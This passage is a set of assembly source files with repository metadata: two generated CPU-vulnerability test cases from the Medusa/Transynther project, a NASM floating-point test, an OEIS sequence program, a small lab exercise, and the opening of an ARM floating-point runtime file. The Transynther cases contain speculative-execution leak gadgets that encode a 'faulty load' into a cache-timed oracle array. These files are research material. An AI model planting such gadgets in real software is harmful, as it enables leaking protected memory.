Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_7346_1147.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_7346_1147.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_7346_1147.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %rbp push %rbx push %rcx lea addresses_WT_ht+0xcc18, %rcx nop sub $59702, %rbp mov $0x6162636465666768, %r11 movq %r11, %xmm2 and $0xffffffffffffffc0, %rcx movaps %xmm2, (%rcx) nop nop nop cmp %rbx, %rbx lea addresses_WT_ht+0x3d82, %r14 clflush (%r14) nop nop add %rbp, %rbp movb (%r14), %r11b xor $5850, %rbp pop %rcx pop %rbx pop %rbp pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r14 push %r8 push %rbx push %rcx // Store lea addresses_WC+0x1c2a6, %rbx sub $13438, %r8 mov $0x5152535455565758, %r10 movq %r10, (%rbx) nop inc %r14 // Store lea addresses_RW+0xada, %r12 clflush (%r12) nop nop nop cmp %r13, %r13 movb $0x51, (%r12) nop nop nop nop nop add $54695, %rcx // Load mov $0x3df06b00000003b6, %r8 nop add $21402, %r12 mov (%r8), %r10 nop xor %r10, %r10 // Faulty Load lea addresses_normal+0x1f326, %r10 nop nop nop nop nop sub %rcx, %rcx vmovaps (%r10), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $1, %xmm1, %r8 lea oracles, %rcx and $0xff, %r8 shlq $12, %r8 mov (%rcx,%r8,1), %r8 pop %rcx pop %rbx pop %r8 pop %r14 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 2, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'00': 7346} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
45.389381
2,999
0.657438
ed6b32dc67962fcbb1bb8a63a3677cbd30958c72
3,720
asm
Assembly
travis/test/float.asm
johannkoenig/nasm
47918f69201058980d793230e993d59be0522c84
[ "BSD-2-Clause" ]
1,052
2018-12-07T19:57:03.000Z
2022-03-31T07:06:00.000Z
travis/test/float.asm
johannkoenig/nasm
47918f69201058980d793230e993d59be0522c84
[ "BSD-2-Clause" ]
17
2020-07-02T10:40:48.000Z
2022-02-02T20:21:33.000Z
travis/test/float.asm
johannkoenig/nasm
47918f69201058980d793230e993d59be0522c84
[ "BSD-2-Clause" ]
138
2019-10-03T23:11:37.000Z
2022-03-28T20:16:27.000Z
; ; Test of floating-point formats ; %use fp ; 8-bit db 1.0 db +1.0 db -1.0 db 1.5 db +1.5 db -1.5 db 0.0 db +0.0 db -0.0 db 1.83203125 db +1.83203125 db -1.83203125 db 1.83203125e1 db +1.83203125e1 db -1.83203125e1 db 1.83203125e-1 db +1.83203125e-1 db -1.83203125e-1 db 1.13203125e-2 ; Denormal! db +1.13203125e-2 ; Denormal! db -1.13203125e-2 ; Denormal! db __Infinity__ db +__Infinity__ db -__Infinity__ db __NaN__ db __QNaN__ db __SNaN__ db 3.1415926535_8979323846_2643383279_5028841971_6939937510_5 ; 16-bit dw 1.0 dw +1.0 dw -1.0 dw 1.5 dw +1.5 dw -1.5 dw 0.0 dw +0.0 dw -0.0 dw 1.83203125 dw +1.83203125 dw -1.83203125 dw 1.83203125e3 dw +1.83203125e3 dw -1.83203125e3 dw 1.83203125e-3 dw +1.83203125e-3 dw -1.83203125e-3 dw 1.83203125e-6 ; Denormal! dw +1.83203125e-6 ; Denormal! dw -1.83203125e-6 ; Denormal! dw __Infinity__ dw +__Infinity__ dw -__Infinity__ dw __NaN__ dw __QNaN__ dw __SNaN__ dw 3.1415926535_8979323846_2643383279_5028841971_6939937510_5 ; 16-bit bfloat bf16 1.0 bf16 +1.0 bf16 -1.0 bf16 1.5 bf16 +1.5 bf16 -1.5 bf16 0.0 bf16 +0.0 bf16 -0.0 bf16 1.83203125 bf16 +1.83203125 bf16 -1.83203125 bf16 1.83203125e15 bf16 +1.83203125e15 bf16 -1.83203125e15 bf16 1.83203125e-15 bf16 +1.83203125e-15 bf16 -1.83203125e-15 bf16 1.83203125e-40 ; Denormal! bf16 +1.83203125e-40 ; Denormal! bf16 -1.83203125e-40 ; Denormal! bf16 __Infinity__ bf16 +__Infinity__ bf16 -__Infinity__ bf16 __NaN__ bf16 __QNaN__ bf16 __SNaN__ bf16 3.1415926535_8979323846_2643383279_5028841971_6939937510_5 bf16 -3.1415, NaN, 2000.0, +Inf ; 32-bit dd 1.0 dd +1.0 dd -1.0 dd 1.5 dd +1.5 dd -1.5 dd 0.0 dd +0.0 dd -0.0 dd 1.83203125 dd +1.83203125 dd -1.83203125 dd 1.83203125e15 dd +1.83203125e15 dd -1.83203125e15 dd 1.83203125e-15 dd +1.83203125e-15 dd -1.83203125e-15 dd 1.83203125e-40 ; Denormal! dd +1.83203125e-40 ; Denormal! dd -1.83203125e-40 ; Denormal! dd __Infinity__ dd +__Infinity__ dd -__Infinity__ dd __NaN__ dd __QNaN__ dd __SNaN__ dd 3.1415926535_8979323846_2643383279_5028841971_6939937510_5 dd -3.1415, NaN, 2000.0, +Inf ; 64-bit dq 1.0 dq +1.0 dq -1.0 dq 1.5 dq +1.5 dq -1.5 dq 0.0 dq +0.0 dq -0.0 dq 1.83203125 dq +1.83203125 dq -1.83203125 dq 1.83203125e300 dq +1.83203125e300 dq -1.83203125e300 dq 1.83203125e-300 dq +1.83203125e-300 dq -1.83203125e-300 dq 1.83203125e-320 ; Denormal! dq +1.83203125e-320 ; Denormal! dq -1.83203125e-320 ; Denormal! dq __Infinity__ dq +__Infinity__ dq -__Infinity__ dq __NaN__ dq __QNaN__ dq __SNaN__ dq 3.1415926535_8979323846_2643383279_5028841971_6939937510_5 ; 80-bit dt 1.0 dt +1.0 dt -1.0 dt 1.5 dt +1.5 dt -1.5 dt 0.0 dt +0.0 dt -0.0 dt 1.83203125 dt +1.83203125 dt -1.83203125 dt 1.83203125e+4000 dt +1.83203125e+4000 dt -1.83203125e+4000 dt 1.83203125e-4000 dt +1.83203125e-4000 dt -1.83203125e-4000 dt 1.83203125e-4940 ; Denormal! dt +1.83203125e-4940 ; Denormal! dt -1.83203125e-4940 ; Denormal! dt __Infinity__ dt +__Infinity__ dt -__Infinity__ dt __NaN__ dt __QNaN__ dt __SNaN__ dt 3.1415926535_8979323846_2643383279_5028841971_6939937510_5 ; 128-bit do 1.0 do +1.0 do -1.0 do 1.5 do +1.5 do -1.5 do 0.0 do +0.0 do -0.0 do 1.83203125 do +1.83203125 do -1.83203125 do 1.83203125e+4000 do +1.83203125e+4000 do -1.83203125e+4000 do 1.83203125e-4000 do +1.83203125e-4000 do -1.83203125e-4000 do 1.83203125e-4940 ; Denormal! do +1.83203125e-4940 ; Denormal! do -1.83203125e-4940 ; Denormal! do __Infinity__ do +__Infinity__ do -__Infinity__ do __NaN__ do __QNaN__ do __SNaN__ do 3.1415926535_8979323846_2643383279_5028841971_6939937510_5
17.06422
64
0.708602
2db1db7f05b889958f6b1552745ea250404a24aa
6,031
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48_notsx.log_21829_1899.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48_notsx.log_21829_1899.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48_notsx.log_21829_1899.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %r15 push %r9 push %rcx push %rdi push %rsi lea addresses_D_ht+0x1111f, %r15 nop nop nop nop nop and %r14, %r14 movups (%r15), %xmm0 vpextrq $0, %xmm0, %rdi nop xor $11783, %r11 lea addresses_normal_ht+0x1189f, %rsi lea addresses_D_ht+0x89c7, %rdi nop nop nop nop xor $23727, %r11 mov $43, %rcx rep movsw nop nop nop cmp %r15, %r15 lea addresses_A_ht+0x5f23, %rsi lea addresses_normal_ht+0xe1bf, %rdi clflush (%rsi) nop inc %r11 mov $79, %rcx rep movsl nop nop nop nop nop lfence lea addresses_normal_ht+0x275f, %r14 nop nop nop nop cmp $46394, %r9 mov (%r14), %r15 nop nop nop nop nop sub $49204, %r11 lea addresses_D_ht+0x12a9b, %r11 nop nop nop nop nop dec %r14 movl $0x61626364, (%r11) nop nop add %r14, %r14 lea addresses_WT_ht+0x1efff, %r14 nop nop nop nop sub %rcx, %rcx mov $0x6162636465666768, %r15 movq %r15, (%r14) nop nop nop nop nop dec %r11 lea addresses_UC_ht+0x4692, %r14 clflush (%r14) nop nop nop sub $12176, %rdi movb $0x61, (%r14) nop add %r11, %r11 pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r8 push %r9 push %rax push %rbx push %rdi // Store lea addresses_RW+0x179ff, %r9 nop nop nop nop nop dec %r8 mov $0x5152535455565758, %rdi movq %rdi, %xmm5 vmovups %ymm5, (%r9) nop nop nop sub $44767, %r9 // Faulty Load mov $0x8bf, %rbx nop nop nop sub %rax, %rax vmovntdqa (%rbx), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $0, %xmm4, %r13 lea oracles, %rax and $0xff, %r13 shlq $12, %r13 mov (%rax,%r13,1), %r13 pop %rdi pop %rbx pop %rax pop %r9 pop %r8 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_P', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_RW', 'congruent': 6}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_P', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 5}} {'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}} {'dst': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 5}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 1}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT_ht', 'congruent': 6}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 0}, 'OP': 'STOR'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
35.686391
2,999
0.66009
2496937718d0e3b4940122d0283f0cde6cf77e58
653
asm
Assembly
oeis/093/A093083.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/093/A093083.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/093/A093083.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A093083: Partial sums of digits of decimal expansion of golden ratio phi. ; Submitted by Jon Maiga ; 1,7,8,16,16,19,22,31,39,47,54,58,67,75,84,88,96,100,108,110,110,114,119,127,133,141,144,148,151,157,162,168,171,179,180,181,188,195,197,197,200,200,209,210,217,226,234,234,239,246,252,254,262,268,270,271 mov $5,$0 add $5,1 mov $7,$0 lpb $5 mov $0,$7 mov $2,0 sub $5,1 sub $0,$5 mov $1,1 mov $3,$0 mul $3,4 sub $3,$0 lpb $3 add $2,$0 add $1,$2 add $2,$1 mul $1,2 mul $2,2 sub $3,1 lpe mov $4,10 pow $4,$0 div $2,$4 cmp $8,0 add $2,$8 div $1,$2 mov $0,$1 mod $0,10 add $6,$0 lpe mov $0,$6
18.138889
205
0.578867
63f82d3f982ac3f635f76762fdd9c5786cec0755
234
asm
Assembly
Lab Assessment Submission/Lab 1/lab assesment 1.asm
parvejjoy/CSE331L-Section-10-Fall20-NSU
f2d010a432e884545cc7fc1597d3ca7820fdf289
[ "MIT" ]
null
null
null
Lab Assessment Submission/Lab 1/lab assesment 1.asm
parvejjoy/CSE331L-Section-10-Fall20-NSU
f2d010a432e884545cc7fc1597d3ca7820fdf289
[ "MIT" ]
null
null
null
Lab Assessment Submission/Lab 1/lab assesment 1.asm
parvejjoy/CSE331L-Section-10-Fall20-NSU
f2d010a432e884545cc7fc1597d3ca7820fdf289
[ "MIT" ]
1
2020-11-11T15:24:51.000Z
2020-11-11T15:24:51.000Z
; You may customize this and other start-up templates; ; The location of this template is c:\emu8086\inc\0_com_template.txt org 100h MOV AX, 1 MOV BX, 5 MOV DX, 5 ADD BX, DX ADD AX, BX ret
10.636364
68
0.598291
74dd4c4cc129b74fe04466251f81a7d37d8c23f9
464
asm
Assembly
oeis/108/A108756.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/108/A108756.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/108/A108756.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A108756: A triangle related to the Jacobsthal polynomials. ; Submitted by Jon Maiga ; 1,1,1,1,1,1,2,3,1,1,1,4,5,1,1,3,6,6,7,1,1,1,10,15,8,9,1,1,4,10,21,28,10,11,1,1,1,20,35,36,45,12,13,1,1,5,15,56,84,55,66,14,15,1,1,1,35,70,120,165,78,91,16,17,1,1,6,21,126,210,220,286,105,120,18,19,1,1,1,56,126,330,495,364,455,136,153,20,21,1,1,7,28,252,462,715,1001,560,680,171 lpb $0 add $1,1 sub $0,$1 mov $2,$1 sub $2,$0 lpe add $0,$1 div $2,2 sub $0,$2 bin $0,$2
30.933333
279
0.631466
e1bced8e263b397e872e1ea63ddffc4eaca60fc5
386
asm
Assembly
asm/song_no_replay.asm
WideBoner/wwrando
60f515902b0d99f12927135381517ded72f90741
[ "MIT" ]
47
2019-12-27T21:12:12.000Z
2022-03-23T17:44:54.000Z
asm/song_no_replay.asm
WideBoner/wwrando
60f515902b0d99f12927135381517ded72f90741
[ "MIT" ]
11
2020-03-14T15:15:31.000Z
2022-02-05T21:52:31.000Z
asm/song_no_replay.asm
WideBoner/wwrando
60f515902b0d99f12927135381517ded72f90741
[ "MIT" ]
4
2020-01-17T20:49:59.000Z
2021-12-25T12:17:14.000Z
;Remove song replays, where Link plays a fancy animation to conduct the song after the player plays it. .open "sys/main.dol" .org 0x8014ECE0 ; Originally checked if the "You conducted..." text box has disappeared. ; Remove that check. nop .org 0x8014EF28 ; Originally checked if Link's conducting animation has finished playing. ; Remove that check. nop .close
29.692308
104
0.725389
861a3858bc82fc3b008680e1ea822144e66d888a
17,891
asm
Assembly
SOURCE/base/Kernel/Native/arm/Crt/basic_d.asm
pmache/singularityrdk
090dbe7d1314fd4938d259abc103c4f3310798e5
[ "MIT" ]
3
2020-05-30T09:57:51.000Z
2020-05-30T10:01:47.000Z
SOURCE/base/Kernel/Native/arm/Crt/basic_d.asm
pmache/singularityrdk
090dbe7d1314fd4938d259abc103c4f3310798e5
[ "MIT" ]
1
2020-05-29T08:14:06.000Z
2020-05-29T08:14:06.000Z
SOURCE/base/Kernel/Native/arm/Crt/basic_d.asm
pmache/singularityrdk
090dbe7d1314fd4938d259abc103c4f3310798e5
[ "MIT" ]
null
null
null
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ;;; Microsoft Research Singularity ;;; ;;; Copyright (c) Microsoft Corporation. All rights reserved. ;;; ;;; This file contains ARM-specific assembly code. ;;; ; basic_d.s ; ; Copyright (C) Advanced RISC Machines Limited, 1994. All rights reserved. ; ; RCS Revision: 1 ; Checkin Date: 2007/06/29 02:59:16 ; Revising Author ; Basic floating point functions ; ; ; Revisions: ; Fixed == and != compares to be IEEE-754 compliant when input QNaNs. ; No exceptions are raised when only QNaNs are the only NaNs input to ; == and !=. Moved NaN detection and exception raising here. ; Removed unnecessary macros for compares that return results in flags. ; Added WindowsCE SEH mechanism support. ; Renamed routines. ; ; Local storage size and offsets LOC_SIZE EQU 0x20 OrgOp2h EQU 0x1C OrgOp2l EQU 0x18 OrgOp1h EQU 0x14 OrgOp1l EQU 0x10 ExDResl EQU 0x08 ExOp2h EQU 0x04 ExOp2l EQU 0x00 NewResl EQU 0x10 GET fpe.asm GET kxarm.inc ;============================================================================== ; Compare ; ; BUGBUG: This documentation is not completely correct. For == and != ; comparisions, only SNANs can raise the invalid operation ; exception. For all other compares, both SNANs and QNANs ; can raise the invalid operation exception and return FALSE ; (they actually compare unordered). When == compares unordered ; (contains 1 or more NANs) it also returns FALSE. When != ; compares unordered, it returns TRUE. See IEEE-754-1985 for ; details. The described behavior is implemented here. ; ; ; ; This isn't as simple as it could be. The problem is that NaNs may cause an ; exception and always compare as FALSE if not signalling. Infinities need to ; be treated as normal numbers, although they look like NaNs. ; Furthermore +0 = -0 needs a special check. ; ; General comparison instruction flow: (this is less than) ; ; OP1 < 0 OR OP2 < 0 ; | ; +--------Y--------------+------------N-------------+ ; | | ; (OP1 OR OP2) NaN? (OP1 OR OP2) NaN? ; | | ; +----N---+---Y------+ +-----Y-------+----N-----+ ; | | | | ; RET OP1 < OP2 OP1 or OP2 inf/NaN? OP1 or OP2 inf/NaN? RET OP1 > OP2 ; | | AND NOT ; +---N--+---Y--+ +---Y--+--N----+ (OP1 = 0 AND OP2 = 0) ; | | | | ; RET OP1 < OP2 (OP1 NaN?) OR (OP2 NaN?) RET OP1 > OP2 ; | | | ; | +--N--+--Y--> exception | ; | | | ; | OP1 < 0 OR OP2 < 0? | ; | | | ; +-----N-------+------------Y-----------+ ; ; The first layer selects between the case where both operands are positive or ; when at least one is negative. The second layer uses a quick test on the ; operands orred together to determine whether they look like a NaN. This check is ; weak: it will get about 4% or 9% 'false hits' for doubles and floats, where ; none of the operands is a NaN. In general false hits occur for very large numbers, ; or for both numbers around 2.0 (one larger, one smaller). ; If the operands are not categorized a NaNs, a normal unsigned compare does the ; actual work. It returns immediately if the highwords of the operands are different. ; Note that the negative case uses a compare with the operands swapped, ; as the order is reversed for negative numbers. The negative case also checks for ; -0 == 0 as a special case. In the NaN code, a more precise check is done, which ; filters out NaNs and infinities, and the normal compare follows otherwise. ; The exception handler raises a Invalid Operation exception if one of the operands ; is a NaN (ignoring the signal bit). ; There are thus 3 different checks on NaNs, with increasing accuracy: ; 1. one of the operands looks like a NaN (but might not be one). ; 2. one of the operands is infinite or NaN. ; 3. one of the operands is a NaN. ; ; The compare routine can either be used as a boolean returning function (dgt, ; dge, dlt, dle) or as a flags returning function (returning < as LO, <= as LS, ; > as HI, >= as HS). ; ; The routine is optimised for the both operands positive which not look like ; NaNs case. It is also assumed the chance that the highwords of the operands are ; equal is less than 50%. Timing: ; Flags: 7/9 (pos), 11/13 (false NaN), 10/12 (neg), 13/15 (false NaN) SA1.1 cycles. ; 